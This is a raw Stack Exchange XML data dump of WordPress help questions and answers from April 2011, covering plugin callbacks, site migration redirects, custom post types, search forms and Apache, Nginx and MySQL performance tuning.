  <row Id="13950" PostTypeId="2" ParentId="11280" CreationDate="2011-04-05T05:23:03.287" Score="0" ViewCount="" Body="&lt;p&gt;I would suggest looking at the &lt;a href=&quot;http://wordpress.org/extend/plugins/import-html-pages/&quot; rel=&quot;nofollow&quot;&gt;WordPress Import HTML plugin&lt;/a&gt;. You can read more about it on the &lt;a href=&quot;http://sillybean.net/code/wordpress/html-import/&quot; rel=&quot;nofollow&quot;&gt;authors blog&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to visit each page in your browser and do a save as html then upload all files according to the plugin instructions to your new server before you run the import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attended a presentation of the plugin the author gave at a WordCamp and it works great.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-05T05:23:03.287" />
  <row Id="13954" PostTypeId="2" ParentId="13947" CreationDate="2011-04-05T06:58:07.193" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Loni Huff:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Your Code, Reformatted:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It appear you are trying to call your callback with &lt;code&gt;call_user_func()&lt;/code&gt; instead of just passing it. Reformatting your code, this is what you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_settings_section(&#xA;  'expansion_' . $row-&amp;gt;expansion_id, &#xA;  '', &#xA;  call_user_func(array(&amp;amp;$this, 'display_expansion'), $row-&amp;gt;expansion),&#xA;  'warpress_progression'&#xA;); // PROBLEM SEEMS TO BE HERE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Equivalent to Your Code:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Which is basically the same thing as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_settings_section(&#xA;  'expansion_' . $row-&amp;gt;expansion_id, &#xA;  '', &#xA;  $this-&amp;gt;display_expansion($row-&amp;gt;expansion),&#xA;  'warpress_progression'&#xA;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly not what &lt;code&gt;add_settings_section()&lt;/code&gt; is expecting.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I think you Want:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What I think you want &lt;em&gt;(without having tested it)&lt;/em&gt; is simply this &lt;em&gt;(and I edited the first parameter to use a coding style I prefer):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_settings_section(&#xA;  &quot;expansion_{$row-&amp;gt;expansion_id}&quot;, &#xA;  '', &#xA;  array(&amp;amp;$this, 'display_expansion'),&#xA;  'warpress_progression'&#xA;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if that works for you.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-05T06:58:07.193" CommentCount="2" />
  <row Id="13955" PostTypeId="2" ParentId="13943" CreationDate="2011-04-05T07:17:53.047" Score="1" ViewCount="" Body="&lt;p&gt;There's a PHP function, called &lt;a href=&quot;http://en.php.net/manual/en/function.getimagesize.php&quot; rel=&quot;nofollow&quot;&gt;getimagesize()&lt;/a&gt;, it can do what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&#xA;$url is the image url&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$imgsize = @getimagesize( $url ); // @ is needed to prevent error messages&#xA;&#xA;if ( $imgsize       // is the variable is not false&#xA; &amp;amp;&amp;amp; $imgsize[0] &amp;gt; 0     // and if the img width is larger than 0&#xA;     &amp;amp;&amp;amp; $imgsize[1] &amp;gt; 0     // and if the img height is larger than 0&#xA;   )&#xA;{&#xA;    // your file exists, write your code here&#xA;}&#xA;else&#xA;{&#xA;    // your file is not available, write your code here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you specify it more, I can make this look better for example into template.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastEditorUserId="4209" LastEditorDisplayName="" LastEditDate="2011-04-05T07:43:21.860" LastActivityDate="2011-04-05T07:43:21.860" />
  <row Id="13957" PostTypeId="1" AcceptedAnswerId="13958" CreationDate="2011-04-05T07:44:58.770" Score="-1" ViewCount="48" Body="&lt;p&gt;How might I query for a tag given the slug?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-04-05T07:55:59.070" Title="Query for tag given slug" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="13958" PostTypeId="2" ParentId="13957" CreationDate="2011-04-05T07:55:59.070" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@JM at Work:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term_slug = 'foo';&#xA;$term_object = get_term_by( 'slug', $term_slug, 'post_tag' );&#xA;print_r( $term_object );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-05T07:55:59.070" CommentCount="2" />
  <row Id="13959" PostTypeId="2" ParentId="13944" CreationDate="2011-04-05T08:43:03.680" Score="0" ViewCount="" Body="&lt;p&gt;Compare Nginx and Apache and make a choice: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.webandblog.com/reviews/apache-vs-nginx-testing-performance-under-heavy-load/&quot; rel=&quot;nofollow&quot;&gt;http://www.webandblog.com/reviews/apache-vs-nginx-testing-performance-under-heavy-load/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.joeandmotorboat.com/2008/02/28/apache-vs-nginx-web-server-performance-deathmatch/&quot; rel=&quot;nofollow&quot;&gt;http://www.joeandmotorboat.com/2008/02/28/apache-vs-nginx-web-server-performance-deathmatch/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.webfaction.com/a-little-holiday-present&quot; rel=&quot;nofollow&quot;&gt;http://blog.webfaction.com/a-little-holiday-present&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;and zillions of blogs posts more&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I just switched from Apache to Nginx and it's about 10 minutes work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;download/install Nginx (wget / yum install / apt-get / ...)&lt;/li&gt;&#xA;&lt;li&gt;change the configuration file of nginx to point to your webdirectory (see examples &lt;a href=&quot;http://kbeezie.com/view/nginx-configuration-examples/&quot; rel=&quot;nofollow&quot;&gt;http://kbeezie.com/view/nginx-configuration-examples/&lt;/a&gt; )&lt;/li&gt;&#xA;&lt;li&gt;start nginx&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also went to php-fpm in the same go also about 20 minutes work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;download php&lt;/li&gt;&#xA;&lt;li&gt;configure with needed libs (e.g. suhosin) (or change the c code with your own prank messages) (remember to drop the apache specific extensions and remember to include zlib for installing/unpacking wp plugins from within wp)&lt;/li&gt;&#xA;&lt;li&gt;configure/make php&lt;/li&gt;&#xA;&lt;li&gt;change nginx config file to include php-fpm calls&lt;/li&gt;&#xA;&lt;li&gt;start php-fpm and restart nginx&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;done&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(adding /etc/init.d startup files where needed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not run performance tests myself I just follow blindly the &quot;rest of them&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of Scope for this answer: Im also planning to ditch MySQL and use MariaDB (GPL) instead.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-04-05T10:25:56.797" LastActivityDate="2011-04-05T10:25:56.797" CommentCount="5" />
  <row Id="13961" PostTypeId="1" AcceptedAnswerId="13963" CreationDate="2011-04-05T09:52:31.243" Score="0" ViewCount="120" Body="&lt;p&gt;Is there any information about WordPress becoming completely OOP in future versions?&lt;/p&gt;&#xA;" OwnerUserId="943" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T23:42:23.313" LastActivityDate="2011-05-07T23:42:23.313" Title="Will WordPress become completely OOP?" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="13962" PostTypeId="1" AcceptedAnswerId="14162" CreationDate="2011-04-05T09:58:24.983" Score="0" ViewCount="174" Body="&lt;p&gt;I've created a site using wordpress and i moved that from localhost to new server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps i've followed is just got backup of old db from localhost and uploaded them to the new server. Changed the WordPress address (URL) &amp;amp; Site address (URL) manually from phpmyadmin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moved all the files from localhost to the server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed the wp-config with the new server's db details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i'm able to visit the admin panel of wordpress but not the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its showing the following error, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The page isn't redirecting properly&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Firefox has detected that the server&#xA;  is redirecting the request for this&#xA;  address in a way that will never&#xA;  complete.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This problem can sometimes be caused by disabling or refusing to&#xA;  accept&#xA;            cookies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think that this must some redirection problem.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My new .htaccess file under new server is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /veejata/wordpress/&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /veejata/wordpress/index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4452" LastEditorUserId="4452" LastEditorDisplayName="" LastEditDate="2011-04-07T05:05:14.100" LastActivityDate="2011-04-07T11:01:29.373" Title="Wordpress redirection problem after moving to a new server?" Tags="&lt;3.1&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="13963" PostTypeId="2" ParentId="13961" CreationDate="2011-04-05T10:03:59.617" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Eugene:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can say with about 99.9999% certainty that WordPress will never become completely OOP in future version, not the least of which is that the topic has come up time and again on the wp-hackers list and the core team members has expressed no interest in doing so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I look at my personal experience with programming and teaching OOP starting around 1990 I agree with the core team and think complete OOP would be a mistake. Although I once an OOP zealot and thought OOP was a panacea I've since come to believe that it has its value in some contexts but in other contexts it gets in the way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the biggest problems I've found with OOP is that it forces the developer to bake in structure long before the developer actually understands what that structure should be which then leads to &lt;a href=&quot;http://en.wikipedia.org/wiki/Fragile_base_class&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;the fragile base-class problem&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course for selected aspects of WordPress, OOP makes a lot of sense and if you study core you'll find such classes; Widget, List_Tables (in 3.1), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I'm happy to work with WordPress in a mostly non-OOP paradigm and think that if it had been pure OOP WordPress would have never gained the following it has. Why? Because OOP would have raised the bar of complexity for would-be WordPress themers and plugin developers, and it would likely have resulted in an application that was not flexible enough to evolve as the core team learned more about the needs of its users over the past 6 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-05T10:03:59.617" CommentCount="6" />
  <row Id="13964" PostTypeId="2" ParentId="13962" CreationDate="2011-04-05T10:19:48.313" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@kvijayhari:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably need to follow the instructions here about changing your Site URL:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL#Changing_the_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Changing the Site URL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For your convenience, so you don't have to click over to that site, here is probably what you need to do; add the following to your &lt;code&gt;/wp-config.php&lt;/code&gt; file, replacing &lt;code&gt;http://example.com&lt;/code&gt; with the URL of your website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME','http://example.com');&#xA;define('WP_SITEURL','http://example.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-05T10:19:48.313" />
  <row Id="13965" PostTypeId="2" ParentId="13944" CreationDate="2011-04-05T10:27:34.130" Score="2" ViewCount="" Body="&lt;p&gt;Take a look here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7433/performance-tips-for-a-large-user-base/7446#7446&quot;&gt;Performance tips for a large user base&lt;/a&gt; - it's a useful set of things to look at that go &lt;em&gt;beyond&lt;/em&gt; just Apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When looking to optimise performance, it's pretty important to look at the entire infrastructure to see where you might have issues - for example one of of my sites I eventually traced an issue that initially looked like an Apache problem (apache running out of memory under medium load) to a slow SQL query that was fixed by adding an extra index to the comments table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, install APC or some other PHP op-code cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's quite likely that your MaxClients setting may be too high - if all 200 processes are active and if they're averaging around 20MB per process, that's your 4GB used up, without taking into account MySQL and all the other processes. Reduce the MaxCients setting, and continue to investigate where your actual problem is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check on how much memory each Apache process is using with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps -ylC httpd --sort:rss&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(replace apache2 for httpd if you're on Ubuntu)&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-04-05T18:13:12.310" LastActivityDate="2011-04-05T18:13:12.310" CommentCount="7" />
  <row Id="13966" PostTypeId="1" AcceptedAnswerId="13969" CreationDate="2011-04-05T10:37:43.343" Score="0" ViewCount="70" Body="&lt;p&gt;Basically, I would like to activate a CSS class only if the current page is a certain custom post type (e.g. &lt;code&gt;?bbp_forum=technology&lt;/code&gt;) or if the current page is a child of that custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first custom post type is called '&lt;code&gt;bbp_forum&lt;/code&gt;.' Each '&lt;code&gt;bbp_forum&lt;/code&gt;' can have a '&lt;code&gt;bbp_topic&lt;/code&gt;' (which is another custom post type).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like it is described in this picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/5JiAi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to do the following in order to assign the class &lt;code&gt;current&lt;/code&gt; to the current '&lt;code&gt;bbp_forum&lt;/code&gt;'s link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;            global $post;&#xA;            $the_post_ID = $post-&amp;gt;ID;&#xA;            $cat_posts = get_posts('post_type=bbp_forum&amp;amp;posts_per_page=-1');&#xA;            var_dump($the_post_ID);&#xA;        ?&amp;gt;&#xA;        &amp;lt;?php foreach ( $cat_posts as $post ) : ?&amp;gt;&#xA;            &amp;lt;li &amp;lt;?php if ( $post-&amp;gt;ID == $the_post_ID )  echo 'class=&quot;current&quot;'; ?&amp;gt;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work for a child of the '&lt;code&gt;bbp_forum&lt;/code&gt;'&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-04-05T11:04:17.973" LastActivityDate="2011-04-05T11:38:58.893" Title="How to write an if statement which reads: 'if is this custom post type or a child of it do the following'?" Tags="&lt;custom-post-types&gt;&lt;bbpress&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13967" PostTypeId="1" CreationDate="2011-04-05T11:02:12.300" Score="0" ViewCount="170" Body="&lt;p&gt;so I'm progressing along and I now have a nice looking search doodad in the sidebar, but it doesnt work when I try to use it. Heres the code.... Please let me know if I'm going wrong somewhere:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;quicksearch&quot;&amp;gt;  &#xA; &amp;lt;div class=&quot;widgetbox_head&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA; &amp;lt;div class=&quot;widgetbox_body&quot;&amp;gt;&#xA; &amp;lt;li id=&quot;searchquick&quot;&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;?php _e('Quick Search'); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA; &amp;lt;p&amp;gt;Find a FlavourCard Restuarant near you&amp;lt;/p&amp;gt;&#xA; &amp;lt;form name=&quot;search&quot; action=&quot;&quot; method=&quot;get&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;searchfield&quot;&amp;gt;&#xA;&amp;lt;label&amp;gt;City&amp;lt;/label&amp;gt;&amp;lt;?php &#xA;&#xA;    $args_city = array(&#xA;&#xA;    'show_option_none'   =&amp;gt; 'Select your city',&#xA;    'hide_empty'         =&amp;gt; 1, &#xA;    'echo'               =&amp;gt; 1,&#xA;    'selected'           =&amp;gt; 0,&#xA;    'hierarchical'       =&amp;gt; 1, &#xA;    'name'               =&amp;gt; 'p-location',&#xA;    'class'              =&amp;gt; 'postform',&#xA;    'depth'              =&amp;gt; 1,&#xA;    'tab_index'          =&amp;gt; 0,&#xA;    'taxonomy'           =&amp;gt; 'location',&#xA;    'hide_if_empty'      =&amp;gt; true );&#xA;&#xA;wp_dropdown_categories( $args_city );&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;searchfield&quot;&amp;gt;&#xA;&amp;lt;label&amp;gt;Suburb&amp;lt;/label&amp;gt;&amp;lt;?php&#xA;&#xA;    $args_sub = array(&#xA;&#xA;    'show_option_none'   =&amp;gt; 'Select your suburb',&#xA;    'hide_empty'         =&amp;gt; 1, &#xA;    'echo'               =&amp;gt; 1,&#xA;    'selected'           =&amp;gt; 0,&#xA;    'hierarchical'       =&amp;gt; 2, &#xA;    'name'               =&amp;gt; 'p-location',&#xA;    'class'              =&amp;gt; 'postform',&#xA;    'depth'              =&amp;gt; 1,&#xA;    'tab_index'          =&amp;gt; 0,&#xA;    'taxonomy'           =&amp;gt; 'suburb',&#xA;    'hide_if_empty'      =&amp;gt; true );&#xA;&#xA;wp_dropdown_categories( $args_sub );&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;searchfield&quot;&amp;gt;&#xA;&amp;lt;label&amp;gt;Cuisine&amp;lt;/label&amp;gt;&amp;lt;select name=&quot;cuisine&quot; class=&quot;postform&quot;&amp;gt;&#xA;  &amp;lt;?php&#xA;  $metakey = 'cuisine';&#xA;  $cuisine = $wpdb-&amp;gt;get_col($wpdb-&amp;gt;prepare(&quot;SELECT DISTINCT meta_value FROM $wpdb-&amp;gt;postmeta WHERE meta_key = %s ORDER BY meta_value ASC&quot;, $metakey) );&#xA;  if ($cuisine) {&#xA;    foreach ($cuisine as $cuisine) {&#xA;      echo &quot;&amp;lt;option value=\&quot;&quot; . $cuisine . &quot;\&quot;&amp;gt;&quot; . $cuisine . &quot;&amp;lt;/option&amp;gt;&quot;;&#xA;    }&#xA;  }&#xA;  ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&amp;lt;/div&amp;gt;    &#xA;&amp;lt;br/&amp;gt;&#xA;    &amp;lt;input type=&quot;field&quot; class=&quot;inputform&quot; value=&quot;Enter keywords here&quot; /&amp;gt;&amp;lt;br/&amp;gt;&#xA;    &amp;lt;input class=&quot;quicksearch&quot; type=&quot;submit&quot; value=&quot;search&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;div class=&quot;widgetbox_foot&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help/ feedback will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="4179" LastActivityDate="2011-04-05T11:02:12.300" Title="Customised Search using Custom Taxonomies, Custom Fields and everything else" Tags="&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;search&gt;" CommentCount="1" />
  <row Id="13968" PostTypeId="1" CreationDate="2011-04-05T11:15:49.087" Score="1" ViewCount="230" Body="&lt;p&gt;I've been pulling my hair out on this one - I need to hard code in &lt;code&gt;wp_get_archives()&lt;/code&gt; for a specific category into a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post was useful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/13288/category-specific-archive&quot;&gt;Category Specific Archive&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but, as with all the plugins I've found so far, they don't work with WP 3.1 (or you need to hack the core files which I obviously don't want to do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another solution I'm not aware of? Maybe a method by creating a separate loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THanks for any pointers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastEditorUserId="2685" LastEditorDisplayName="" LastEditDate="2011-04-05T14:46:10.637" LastActivityDate="2011-08-03T12:17:58.127" Title="wp_get_archives for a specific category?" Tags="&lt;3.1&gt;&lt;wp-get-archives&gt;" AnswerCount="3" />
  <row Id="13969" PostTypeId="2" ParentId="13966" CreationDate="2011-04-05T11:38:58.893" Score="0" ViewCount="" Body="&lt;p&gt;I accidentally got the answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;            global $post;&#xA;            $the_post_parent = $post-&amp;gt;post_parent;&#xA;            $the_post_ID = $post-&amp;gt;ID;&#xA;            $cat_posts = get_posts('post_type=bbp_forum&amp;amp;posts_per_page=-1');&#xA;            print_r($post_parent);&#xA;        ?&amp;gt;&#xA;        &amp;lt;?php foreach ( $cat_posts as $post ) : ?&amp;gt;&#xA;            &amp;lt;li &amp;lt;?php if ( $post-&amp;gt;ID == $the_post_ID || $post-&amp;gt;ID == $the_post_parent ) echo 'class=&quot;current&quot;'; ?&amp;gt;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate if someone explain it to me.&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-04-05T11:38:58.893" CommentCount="2" />
  <row Id="13970" PostTypeId="2" ParentId="13944" CreationDate="2011-04-05T12:13:09.490" Score="4" ViewCount="" Body="&lt;p&gt;Souljacker,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would first take a look at your plugins.  &lt;strong&gt;&lt;a href=&quot;http://plugins.trac.wordpress.org/browser/star-rating-for-reviews/trunk/star-rating.php?rev=66785&quot; rel=&quot;nofollow&quot;&gt;Star Ratings for Reviews&lt;/a&gt;&lt;/strong&gt; hasn't been updated for over 3 years and looks like its real heavy on the db.  I saw some raw sql with some INNER JOINS that look troublesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the server side you should implement some object caching.  APC is the defacto standard and will give you the best results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get APC installed switch to &lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;a href=&quot;http://markjaquith.wordpress.com/2010/08/06/apc-object-cache-backend-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Mark Jaquith's APC Object Cache Backend&lt;/a&gt;&lt;/strong&gt; to take full advantage of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your httpd.conf settings look fine.  From the looks of your my.cnf, your not taking advantage of MySQL query caching, thread caching, or controlling any of the buffer sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a tuning script to help you with your my.cnf configuration.  I like to use &lt;strong&gt;&lt;a href=&quot;https://launchpad.net/mysqltuner&quot; rel=&quot;nofollow&quot;&gt;mysqltuner&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;https://launchpad.net/mysql-tuning-primer&quot; rel=&quot;nofollow&quot;&gt;tuning primer&lt;/a&gt;&lt;/strong&gt; is also very good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mysqltuner will output suggestions and give you some guidlines on what to adjust based on your database usage.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my server with 12G Ram my settings look like this.  &lt;strong&gt;(Just an example don't use these settings!!!)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key_buffer              = 512M&#xA;max_allowed_packet      = 32M&#xA;thread_stack            = 1M&#xA;thread_cache_size   = 128M&#xA;&#xA;myisam-recover         = BACKUP&#xA;max_connections        = 60&#xA;table_cache            = 5000&#xA;table_definition_cache = 1024&#xA;thread_concurrency     = 16&#xA;&#xA;# * Query Cache Configuration&#xA;&#xA;query_cache_type        = 1&#xA;query_cache_limit       = 4M&#xA;query_cache_size        = 48M&#xA;max_heap_table_size     = 512M&#xA;tmp_table_size          = 512M&#xA;join_buffer_size        = 3M&#xA;sort_buffer_size        = 8M&#xA;read_buffer_size        = 8M&#xA;read_rnd_buffer_size    = 8M&#xA;myisam_sort_buffer_size =16M&#xA;&#xA;&#xA;log_slow_queries        = /var/log/mysql/mysql-slow.log&#xA;long_query_time = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like others have mentioned running Nginx will drastically reduce the load on your server if your up to taking on the configurations etc.  I wrote a tutorial on how to install and set up &lt;strong&gt;&lt;a href=&quot;http://wp-performance.com/2010/10/nginx-reverse-proxy-cache-wordpress-apache/&quot; rel=&quot;nofollow&quot;&gt;Apache with Nginx as a reverse proxy&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-05T12:13:09.490" CommentCount="3" />
